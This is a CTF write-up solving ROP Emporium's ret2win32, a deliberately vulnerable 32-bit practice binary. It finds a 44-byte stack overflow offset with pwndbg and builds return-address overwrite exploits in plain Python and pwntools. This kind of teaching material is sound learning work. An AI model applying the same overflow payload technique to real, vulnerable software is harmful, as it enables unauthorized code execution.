ctf · March 22, 2026 · 4 min read
A First Return-Oriented Exploit
Ret2win is usually where people start with binary exploitation in CTF. A binary contains a function that never gets called during normal execution, and your job is to hijack the flow to reach it through a buffer overflow.
I’ll solve the ret2win32 challenge from ROP Emporium with native tools first, and only bring in pwntools at the end.
The binary can be downloaded directly from the site:
wget https://ropemporium.com/binary/ret2win32.zipunzip ret2win32.zipAnalyzing the Binary
First thing I do is look at what the binary actually is.
file ret2win32ret2win32: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped32-bit, not stripped: symbols are present, which is perfect for getting started (development symbols will be visible to tools like gdb).
checksec --file=ret2win32Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)Stripped: NoNo canary, no PIE. NX is active but we don’t need to worry about it: we’re not injecting shellcode, just redirecting to an existing function. Addresses are fixed at every execution.
Let’s run the binary to see its behavior:
./ret2win32ret2win by ROP Emporiumx86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!What could possibly go wrong?You there, may I have your input please? And don't worry about null bytes, we're using read()!
>The binary announces itself that it’s trying to fit 56 bytes into a 32-byte buffer. We already know we can overflow it.
Identifying the Target Function
From here on I’ll be using pwndbg, which sits on top of gdb and adds the things I want during exploitation: syntax highlighting, a readable stack view, and a bunch of small quality-of-life commands. Project link here.
Let’s open pwndbg and list the functions:
pwndbg ret2win32
The ret2win function is there, at address 0x0804862c. Let’s disassemble it to confirm what it does:
pwndbg> disas ret2win
It calls system() with a string argument. Let’s check what that is:

That’s where we want execution to land.
Identifying the Vulnerability
Let’s disassemble pwnme to understand the buffer:
pwndbg> disas pwnme
The buffer is at [ebp-0x28], which is 40 bytes below EBP. read() accepts up to 0x38 = 56 bytes. We can therefore write well beyond the buffer.
Calculating the Offset
Generate a pattern with cyclic from pwndbg:
pwndbg> cyclic 100 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaapwndbg>pwndbg> run <<< $(echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")The program crashes. Let’s look at EIP:

pwndbg> info registers eipeip 0x6161616c 0x6161616cCalculate the offset:
cyclic -l 0x6161616cpwndbg> cyclic -l 0x6161616cFinding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)Found at offset 44The offset is 44 bytes. This is consistent with the stack layout: 40 bytes of buffer (0x28) + 4 bytes for the saved EBP = 44 before reaching the return address.
Let’s confirm with a quick test:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'B'*4)" | gdb -q ret2win32 -ex 'run' -ex 'info registers eip' -ex quit
EIP is 0x42424242, our Bs. The offset is correct. We’re precisely overwriting the address of the next instruction the program will execute (stored in EIP for x86 programs). We can now replace BBBB with the actual memory address of our next instruction: the ret2win function.
Building the Exploit
We have everything we need:
- Offset: 44 bytes
- Address of
ret2win():0x0804862c
In x86, little-endian means 0x0804862c is written as \x2c\x86\x04\x08 in our payload. struct.pack handles this automatically.
import sysimport struct
offset = 44ret2win_addr = 0x0804862c
payload = b'A' * offsetpayload += struct.pack('<I', ret2win_addr)
sys.stdout.buffer.write(payload)Run it:
python3 exploit.py | ./ret2win32
The flag is printed. The segfault afterward is normal: ret2win() finishes and tries to return to an invalid address. To clean that up, we could add the address of exit() after ret2win in the payload, but for a CTF this is sufficient.
pwntools Version
Once we understand the mechanics, pwntools makes the writing cleaner:
from pwn import process, ELF, p32
p = process('./ret2win32')elf = ELF('./ret2win32')
offset = 44# ret2win() address retrieved dynamicallyret2win_addr = elf.symbols['ret2win']
payload = b'A' * offsetpayload += p32(ret2win_addr)
p.sendline(payload)p.interactive()
p32() handles little-endian, p.interactive() keeps stdin open. Same logic, just less boilerplate.
Wrapping up
This challenge comes down to three conditions lining up: no canary so we can overwrite EIP, no PIE so addresses stay fixed, and a useful function already sitting in the binary. I built the exploit with struct.pack first on purpose, because that’s what forces you to actually deal with little-endian, the payload layout, and where those 44 bytes come from. pwntools is worth reaching for once you already get the mechanics. p32() and p.interactive() save you the boilerplate, and the day a canary or PIE shows up, understanding the raw version is what lets you adjust.